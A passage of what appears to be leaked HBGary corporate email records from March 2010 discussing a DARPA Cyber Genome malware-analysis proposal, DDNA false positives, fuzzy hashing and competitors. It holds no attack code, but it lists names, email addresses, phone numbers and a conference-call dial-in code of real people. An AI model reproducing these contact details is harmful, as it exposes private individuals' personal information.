AIS','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nCyber-Genome Meeting - Notes from yesterday\'s meeting\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold\r\net al,\r\n\r\n&nbsp;\r\n\r\nTo\r\nme TA #1 is requesting how to organize and correlate large amounts of data\r\nabout many or all malware.&nbsp; I would argue that TA #3 is where much of the\r\nlow level data is generated for use within the TA #1 solution.&nbsp; (TA #3 is\r\nmore focused on r/e and acquiring the low level data.&nbsp; TA #1 is more big\r\npicture oriented.) \r\n\r\n&nbsp;\r\n\r\nThe\r\nbasis of TA #1 is the creation of a Malware Genome &#8211; a repository of data\r\nabout malware and the interrelationships and correlation among the data and the\r\nmalware.\r\n\r\n&nbsp;\r\n\r\nHere\r\nis a list of malware factors straight from HBGary&#8217;s website.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInstallation and Deployment Factors \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCommunication Factors \r\n\r\n\r\n Information Security Factors \r\n Defensive Factors \r\n Development Factors \r\n Command and Control Factors \r\n\r\n\r\nThis\r\nlist is a partial framing of the conversation of how to describe malware.&nbsp;\r\nWe can do much more to accurately assess malware for each factor.&nbsp; And\r\ntoday we haven&#8217;t even started the job of comparing malware samples with\r\neach other looking for commonality, lineage, or attribution.\r\n\r\n&nbsp;\r\n\r\nBob\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rodriguez, Harold\r\n[mailto:Harold.Rodriguez@gd-ais.com] \r\nSent: Monday, March 01, 2010 7:47 AM\r\nTo: aaron@hbgary.com; rich@hbgary.com; bob@hbgary.com; greg@hbgary.com\r\nCc: Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela,\r\nRyan; Wilson, Ben N.\r\nSubject: RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General\r\nDynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGood Morning,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nis an updated document adding a column for metrics/measures of success.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold Rodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410)\r\n694-6409 \r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rodriguez, Harold\r\nSent: Sun 2/28/2010 11:46 PM\r\nTo: aaron@hbgary.com; rich@hbgary.com; bob@hbgary.com; greg@hbgary.com\r\nCc: Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela,\r\nRyan; Wilson, Ben N.\r\nSubject: DARPA\'s Cyber-Genome Program - Technical Area 1 - General\r\nDynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nRich, Bob, Greg,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber\r\nGenome technical&nbsp;proposal.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFor\r\nthis technical area, could you please look at the attached document and provide\r\nsome of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH\r\nideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one\r\n(1) or (2) technical papers in the area.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nthe attached document I tried to provide couple of examples, but feel free to\r\nadd the information you feel is appropriate.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards and thank you!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold\r\nRodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410) 694-6409\r\n\r\n\r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10268,'aaron_hbgary_com/10268.html'),(3233,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001503.M619035P3547Q3234.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI think so.&nbsp; Was ManTech at the Industry Day?&nbsp; They have talent\r\nto compete with us.&nbsp; Their old Aegis group has tons of r/e talent.&nbsp; They&#8217;ve\r\nbuilt tools too.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 01, 2010 9:09 AM\r\nTo: Bob Slapnik\r\nSubject: Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General\r\nDynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nis Kornblum still with Mantech?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 9:04 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYour questions are out of my league.&nbsp; You need to go to\r\nGreg.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI suspect (don&#8217;t know) that Greg&#8217;s use of the word &#8220;fuzzy\r\nhashing&#8221; and Kornblum&#8217;s are different.&nbsp; Also, Guidance Software now has\r\ncommercial software for fuzzy hashing.&nbsp; The term fuzzy hashing has been\r\nkicked around for years.&nbsp; For the sake of appearing innovative and far\r\nreaching, we should NOT use the term fuzzy hashing.&nbsp; We need to invent a\r\nnew term.&nbsp; Maybe Greg has already.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, March 01,\r\n2010 8:59 AM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Re: DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYep makes sense. &nbsp;Thats a tough one. &nbsp;Fuzzy\r\nhashing as one methodology to help sounds interesting. &nbsp;Changes in\r\nprofiles would be another. &nbsp;If when executed you developed a software\r\nprofile for execution, communication, etc. &nbsp;Changes to that profile maybe\r\ncould also increase the heat value?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheck out Jesse Kornblum tool:&nbsp;http://windowsir.blogspot.com/2006/07/genius-kornblum-on-fuzzy-hashing.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 8:43 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis is a bigger conversation with Greg, Phil and Rich, but here\r\nis my take on it.&nbsp; The short and current answer is &#8220;yes&#8221;.&nbsp; DDNA flags\r\nbinaries as malware that look and act like malware.&nbsp; It turns out that\r\nsome good software acts like malware so it scores high.&nbsp; Examples are host\r\nsecurity products.&nbsp; We view that as DDNA giving accurate results, but in\r\npractice our customers get no value from every host in the enterprise reporting\r\n&#8220;red&#8221; (since every host has security and possibly other software that act like\r\nmalware).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary is dealing with the false positive problem as we\r\nspeak.&nbsp; A first pass solution was to give customers an easy way to filter\r\ngood software from the reports, but this is just a bandaide short term\r\nanswer.&nbsp; The reason the report filtering approach is faulty is because\r\nfiltered software could actually have evil code injected into it.&nbsp; This is\r\nthe fault with disk based hashing.&nbsp; Saying it is good on disk does not\r\nensure secure in RAM during execution.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe HBGary development team is currently approaching the false\r\npositives problem from a more fundamental level.&nbsp; The objective is that\r\nall software will have its DDNA score reported.&nbsp; Software such as security\r\ntools will have its score &#8220;cooled off&#8221; so it doesn&#8217;t show up as malware, but it\r\nwill reporting as a cooler color.&nbsp; This leaves open the possibility that\r\nif bad code gets injected it could get heated back up as red or orange.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThere is also development work around &#8220;fuzzy hashing&#8221; in\r\nRAM.&nbsp; My info is sketchy at best and might be flat out incorrect&#8230;&#8230; I\r\n&#8220;think&#8221; customers will be able to take fuzzy hashes (whatever that means) of\r\ngold images &#8211; these results are stored.&nbsp; Then during deployment DDNA\r\nscores (or maybe something else) are compared to the gold images.&nbsp; If the\r\nvariance is greater than some pre-specified amount, then the binary is\r\nflagged.&nbsp; There is a lot more to this than I know.&nbsp; And I&#8217;ll bet from\r\na research perspective we are just scratching the surface today.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, March 01,\r\n2010 8:26 AM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Re: DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo we get a lot of false postiives with DDNA?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 8:11 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs GD taking the lead in the proposal creation?&nbsp; Seems\r\nunusual for them to send out this doc when NG is the prime for #1.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Rodriguez, Harold\r\n[mailto:Harold.Rodriguez@gd-ais.com]&nbsp;\r\nSent:&nbsp;Monday, March 01,\r\n2010 7:47 AM\r\nTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.com\r\nCc:&nbsp;Upchurch, Jason R.;\r\nStarr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.\r\nSubject:&nbsp;RE: DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood Morning,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nis an updated document adding a column for metrics/measures of success.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold Rodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410)\r\n694-6409\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Rodriguez, Harold\r\nSent:&nbsp;Sun 2/28/2010 11:46\r\nPM\r\nTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.com\r\nCc:&nbsp;Upchurch, Jason R.;\r\nStarr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.\r\nSubject:&nbsp;DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nRich, Bob, Greg,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber\r\nGenome technical&nbsp;proposal.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFor\r\nthis technical area, could you please look at the attached document and provide\r\nsome of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH\r\nideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one\r\n(1) or (2) technical papers in the area.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nthe attached document I tried to provide couple of examples, but feel free to\r\nadd the information you feel is appropriate.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards and thank you!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold\r\nRodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410) 694-6409\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4469,'aaron_hbgary_com/4469.html'),(3234,'2010-03-01','\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>','/aaron@hbgary.com/new/1297001503.M939870P3547Q3235.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Porras\" <porras@csl.sri.com>,dawnsong@cs.berkeley.edu,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','FW: DARPA Cyber Genome (DCG) Proposal Kickoff','\r\n\r\n\r\n\r\n\r\nFW: DARPA Cyber Genome (DCG) Proposal Kickoff\r\n\r\n\r\n\r\n\r\nWhen: Monday, March 01, 2010 11:00 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nWe will have a Cyber Genome proposal kickoff at 11 AM Eastern.&nbsp;&nbsp; If you cannot attend, let me know and I will speak with you later today.\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n571-216-6140\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nTo: Vela, Ryan; Harlow, Douglas M.; Upchurch, Jason R.; Starr, Christopher H.; Rodriguez, Harold; Wilson, Ben N.; Spiller, John F.; Kipper, Gregory A.; Brown, Glenn M.; Brunelli, Rex; Hromada, Chris D.; Wenthold, Russell L.; Hart, Robert S.; Ager, Pat M.; Corcino, Stefanie E.; Larson, Cindy S.\r\nSubject: DARPA Cyber Genome (DCG) Proposal Kickoff\r\nWhen: Monday, March 01, 2010 11:00 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n\r\n\r\nScheduled time: 11 AM EST / 8 AM PST\r\n\r\nCall information: 866-765-5631, code 5057292#\r\n\r\n\r\n\r\nTentative Agenda\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Proposal Overview\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Proposal Schedule\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Proposal Team\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Writing and Task Assignments\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Win Themes, Strategy, and the Customer\r\n\r\n\r\n\r\n\r\n',10803,'aaron_hbgary_com/10803.html'),(3235,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001503.M94425P3547Q3232.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Looking at Harold\'s doc','understood but the problem still seems unsolved. &nbsp;I would like to get those docs and any others we have written related to automated malware analysis. &nbsp;I need to consume as much as possible.When it comes to behavior based analysis all the literature talks about the combination of static and dynamic (sandbox) analysis. &nbsp;I don\'t see much on debuggers. &nbsp;Would this be important to resurrect you think?Understand on the rest. &nbsp;What seems to be being asked is, automated analysis of softwares dependencies so you can fully execute/exercise the software within a sandbox, to list there example. &nbsp;We don\'t do automated execution trees? &nbsp;Isn\'t that the same thing as process/control flow?On Mar 1, 2010, at 9:13 AM, Bob Slapnik wrote:Aaron,&nbsp;This email is for your consumption, not theirs until maybe you sanitize it.&nbsp; Harold’s doc rehashes thinking HBGary did 4-5 years ago and I’ll bet DARPA would not have seen it as far reaching even back then.&nbsp; If this is GD’s opening to structure the conversation, then to me they’ve proven they are not thought leaders in this arena……&nbsp;“forcing execution of all branches” – Wow!&nbsp; HBGary had a Phase I and Phase II SBIR contract with AFRL (started in 2005) to develop exactly this along with other r/e goals.&nbsp; We called it Automated Flow Resolution.&nbsp; The idea was that the runtime r/e system automatically figures out what data input must be to force execution of all code branches.&nbsp; We were successful at developing an AFR prototype, but overall it FAILED.&nbsp; A developer (who no longer works for HBGary) was assigned to figure out the underlying math problems.&nbsp; In truth he wasn’t supervised well and produced squat.&nbsp; To this day Greg contends that if he had worked the problem itself we would have a product today doing this.&nbsp; We have many past docs on AFR.&nbsp;More history……. Inspector, a product that predates Responder, had a user mode debugger.&nbsp; (Debugging is required for AFR.)&nbsp; Greg killed the debugger saying that HBGary was not equipped or skilled enough to continually maintain a debugger.&nbsp; We now have REcon which is a runtime tracing system, not an interactive debugger.&nbsp;“Obfuscation techniques” – Our other AFRL Phase I and Phase II contracts had to do with identifying and overcoming obfuscation.&nbsp; Our proposal delineated dozens of obfuscation techniques, but in reality the final deliverable was REcon.&nbsp; Its idea is that the vast majority of obfuscation techniques are overcome simply by extracting the malware from memory.&nbsp; I suspect there is more work that can be done for more challenging forms of obfuscation.&nbsp; I view this as a “down in the weeds” problem.&nbsp; While this is an important consideration, I think DARPA wants bigger thinking.&nbsp;Malware decompilation, automated disassembly, call graphs,………. We’ve already built this in our shipping product.&nbsp; This is not innovative thinking.&nbsp;Bob&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11993,'aaron_hbgary_com/11993.html'),(3236,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001504.M150368P3547Q3236.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','Who is Daniel Raygoza?On Mar 1, 2010, at 9:29 AM, Bob Slapnik wrote:I think so.&nbsp; Was ManTech at the Industry Day?&nbsp; They have talent to compete with us.&nbsp; Their old Aegis group has tons of r/e talent.&nbsp; They’ve built tools too.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 9:09 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;is Kornblum still with Mantech?&nbsp;On Mar 1, 2010, at 9:04 AM, Bob Slapnik wrote:Your questions are out of my league.&nbsp; You need to go to Greg.&nbsp;I suspect (don’t know) that Greg’s use of the word “fuzzy hashing” and Kornblum’s are different.&nbsp; Also, Guidance Software now has commercial software for fuzzy hashing.&nbsp; The term fuzzy hashing has been kicked around for years.&nbsp; For the sake of appearing innovative and far reaching, we should NOT use the term fuzzy hashing.&nbsp; We need to invent a new term.&nbsp; Maybe Greg has already.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 8:59 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;Yep makes sense. &nbsp;Thats a tough one. &nbsp;Fuzzy hashing as one methodology to help sounds interesting. &nbsp;Changes in profiles would be another. &nbsp;If when executed you developed a software profile for execution, communication, etc. &nbsp;Changes to that profile 